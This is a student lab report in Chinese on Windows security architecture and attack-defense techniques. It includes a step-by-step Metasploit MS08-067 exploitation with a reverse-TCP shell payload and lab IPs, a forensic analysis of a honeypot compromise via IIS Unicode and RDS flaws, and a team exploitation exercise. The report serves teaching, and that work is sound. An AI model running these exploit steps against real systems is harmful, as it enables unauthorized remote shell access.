1.实践内容
1.1 Windows操作系统基本框架概述
Windows操作系统内核组件:
Windows执行体:Windows内核核心文件ntoskrnl.exe的上层接口,包含基本的操作系统服务,如内存管理,进程和线程管理,安全性,I/O,网络,跨进程通信。
Windows内核体:由一组底层的操作系统功能构成,如线程调度,终端和异常处理分发。以及处理器同步。提供了一组例程和基础对象。执行体的其他部分利用这些例程和对象实现更高层次的功能。
设备驱动程序:硬件设备驱动程序,也包含文件系统和网络驱动程序。其中硬件设备驱动程序将用户的I/O函数调用转化为特定的硬件设备请求。
硬件抽象层:指一层特殊代码,它把内核,设备驱动程序和windows执行体其他部分跟与平台相关的硬件差异隔离开来。
窗口和图形系统:实现了图形用户界面函数。
用户模式进程:
系统支持进程:Windows开机自动启动的系统内建服务进程,如登陆进程,会话管理器进程
环境子系统服务进程:为操作系统提供支持的服务进程,如windows XP只支持Windows环境子系统。
服务进程:通过Windows的服务管理机制启动的一系列系统及网络服务,如Microsoft SQL Server网络服务
用户应用软件:用户执行的各类用户应用软件。 有6个类型:windows32位,windows64位,windows3.1 16位,ms-dos 16位,posix32位或者OS/2 32位。
核心子系统DLL:即动态连接库文件
Windows操作系统内核中的核心机制:
Windows进程和线程管理机制:进程可以看作是windows子系统的执行对象
Windows内存管理机制:分为系统核心内存区间和用户内存区间两部分
Windows文件管理机制:windows下使用NTFS文件结构
windows 使用PE格式的可执行文件,主要分为Dos头、PE头、分段表、以及具体的代码段和数据段等格式
NTFS文件系统基于ACL访问控制列表来保证文件资源读/写的安全性;
windows可执行文件采用PE格式,其结构主要由DoS头,PE头、分段表,以及具体的代码段、数据段等组成。
Windows注册表管理机制:注册表被称为Windows操作系统中的一个核心数据库,作为系统全局配置、用户和应用软件配置信息的存储仓库。它的工作原理实质是一个庞大的数据库,存放了关于计算机硬件的配置信息、系统和应用软件的初始化信息、应用软件和文档文件的关联关系、硬件设备的说明以及各种状态信息和数据,包括Windows操作时不断引用的信息。
Windows的网络机制:windows下网络组件整体结构图
1.2 Windows操作系统的安全体系结构与机制
windows安全体系结构:
windows的安全体系结构基于引用监控器这一经典的安全模型。
其最核心的是位于内核的SRM安全引用监视器,以及位于用户态的LSASS安全服务,并与winlogin、eventlog等相关服务一起实现身份认证机制
windows身份认证机制与授权、访问控制机制
Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同实施。
Windows安全审计机制
系统审计策略在本地安全策略中由系统管理员定义,确定系统对哪些事件进行记录
LSAS服务将保存审计策略,在对象安全描述符中的SACL列表中进行保存
SRM在进行对象访问授权时,依据对象的SACL列表配置,对指定的对象访问和操作事件进行审计记录
1.3Windows远程安全攻防技术
windows远程安全攻防的分类
远程口令猜测与破解攻击
攻击windows网络服务
攻击windows客户端及用户
Metasploit的整体架构
windows远程攻击方法的防御措施
口令猜测和破解防范措施:用户设置较高安全强度的口令;关闭易受口令猜测攻击网络服务的端口、配置主机防火墙来限制上述端口、利用网络防火墙来限制这些服务的访问和禁用存在缺陷的NTLM
远程渗透攻击防范措施:从软件设计上尽量减少漏洞的出现、尽可能快的更新安全补丁、为“零日”漏洞配置缓解攻击配置、利用安全清单插件来固化网络服务、通过漏洞扫描软件来标识存在的漏洞并及时补救。
1.4 Windows本地安全攻防技术
windows本地特权提升
本地提权的常见三种手段:溢出提权、windows错误系统配置、计划任务提权。
防范措施:及时打补丁、及时跟进厂家的安全警告
windows敏感信息窃取
包括windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段
防范措施:使用安全度高、能抵挡破解的口令
windows消灭踪迹
主要手段包括、关闭审计功能、清理事件日志。
防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。
远程控制与后门
主要手段包括向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。
防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。
2.实践过程
2.1动手实践Metasploit windows attacker
任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
win2kServer(ip:192.168.192.124)
kali (ip:192.168.192.5)
首先确认两者可以互相ping通
然后在kali打开Metasploit,输入search ms08_067
接着执行use exploit/windows/smb/ms08_067_netapi进入该漏洞模块的使用
通过命令set PAYLOAD generic/shell_everse_tcp设置打开反向连接的载荷
设置攻击目标,通过命令set RHOST 192.168.192.124
设置攻击地址,通过命令set LHOST 192.168.192.5
设置set TARGET 0,0代表自动匹配
接下来通过exploit发起攻击(注意先打开wireshark)
然后分别在kali和win2k上输入ipconfig/all 查看
发现两者ip地址、mac地址都是一样的,故攻击成功。
2.2取证分析实践:解码一次成功的NT系统破解攻击
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
首先下载老师上传的demo_NT_attack_data压缩包,然后用wireshark打开
然后在菜单中选择统计-http-request
发现了这么几个网站 www.black-hats.com;www.BLACK-HATS.com;lab.wiretrip.net
打开 www.black-hats.com 似乎是个邮箱网站?
然后发现lab.wiretrip.net下出现了很多%C0%AF,%C0%AF是“/”字符的非法UTF-8表示方式,其他的资料并没有找到,只能在往届学长的博客中学习相关知识。
因此在wireshark中设置过滤条件 ip.addr==172.16.1.106 and http
在117号后面找到了%C0%AF
说明攻击者通过IIS Unicode漏洞了解了被攻击主机操作系统的一些基本情况
之后又看到了msadcs.dll 查询百度得知,IIS有漏洞msadcs.dll,dll存在RDS漏洞,故猜测是RDS攻击
打开wireshark中的追踪http流,同样发现!ADM!ROX!YOUR!WORLD!,正好与之前看到的匹配
接着在追踪流中发现了一些shell命令,可以发现攻击者创建了一个ftpcom脚本,并使用ftp连接www.nether.net,尝试攻击
再追踪tcp流,发现输入口令错误,攻击还没有成功
然后筛选ftp,查询成功的ftp连接以便于知道攻击者何时成功下载攻击工具。
然后再在http数据流中找到了攻击者正在攻击6969端口,
接着输入tcp.port == 6969 筛选,追踪tcp流。发现攻击者想获得Administrator权限,运行net session但是访问失败,又试了net users,主机的用户列表只有Administrator
接着攻击者发了echo消息到C盘目录文件README.NOW.Hax0r
还尝试net group查看组用户、net localgroup查看本地组用户、以及net group domain admins,都失败了
攻击者寻找msadc目录,并尝试执行pdump(抓包工具)来破解出口令密文但是并没有成功,然后删掉了samdump和pdump
然后看到rdisk -s/,rdisk是修复磁盘程序,rdisk -s/是备份关键系统信息
攻击者把这个文件拷贝到har.txt并打印。
接着回答问题,我们如何防御?我觉得口令要设定的复杂一点,及时扫描电脑漏洞,定期下载最新的补丁。
以及,攻击者应该是意识到了其攻击的是蜜罐主机。在追踪tcp流中,发现他留下了一句话:这是他见过的最好的蜜罐主机
2.3 团队对抗实践:windows系统远程渗透攻击和分析。
攻方使用metasploit选择漏洞进行攻击,获得控制权。(首先需要将攻击方和防守方的网络适配器改成桥接模式:
并且攻击方和防守方需要在同一局域网内。
(1)我作为攻击方,攻击谭莉同学。
名称 | IP |
kali | 192.168.43.148 |
Win2kServer | 192.168.43.168 |
其中,我是攻击方:192.168.43.148
谭莉同学是防守方:192.168.43.168
测试两台主机的连通性:
以下都是重复的实践1的步骤,过程我就不再截图展示了,就直接显示执行的命令吧,如下:
(1)打开kali的metasploit
(2)search ms08_067,搜索ms08_067漏洞
(3)use exploit/windows/smb/ms08_067_netapi,进入该漏洞模块的使用
(4)show payloads,显示出有效的攻击载荷
(5)set PAYLOAD 3,设置攻击有效载荷
(6)show options,显示我们需要在攻击前需要设置的数据
(7)按照靶机RHOST,攻击机LHOST的原则配置IP
set RHOST 192.168.43.168
set LHOST 192.168.43.148
(8)show options,再次查看payload状态
(9)set TARGET 0,设置目标操作系统平台类型
(10)打开wireshark进行监听,再使用攻击命令exploit
并使用如下命令:
cd ..
make mkdir
mkdir dengye
在谭莉的主机中看见了我创建的两个文件夹:
当我作为防守方时,使用wireshark监听
可以看到捕捉到了被攻击的过程,攻击机向靶机发了许多SMB数据包。攻击利用的漏洞有:针对SMB网络服务的漏洞、DCERPC解析器拒绝服务漏洞、SPOOLSS打印服务假冒漏洞。
3.遇到问题
问题:本次实验一开始不知道团队对抗怎么弄,然后一开始用校园网发现ip地址都被占用了。
解决方案:我和我的同伴都使用相同的个人热点,然后在同一个网段进行对抗。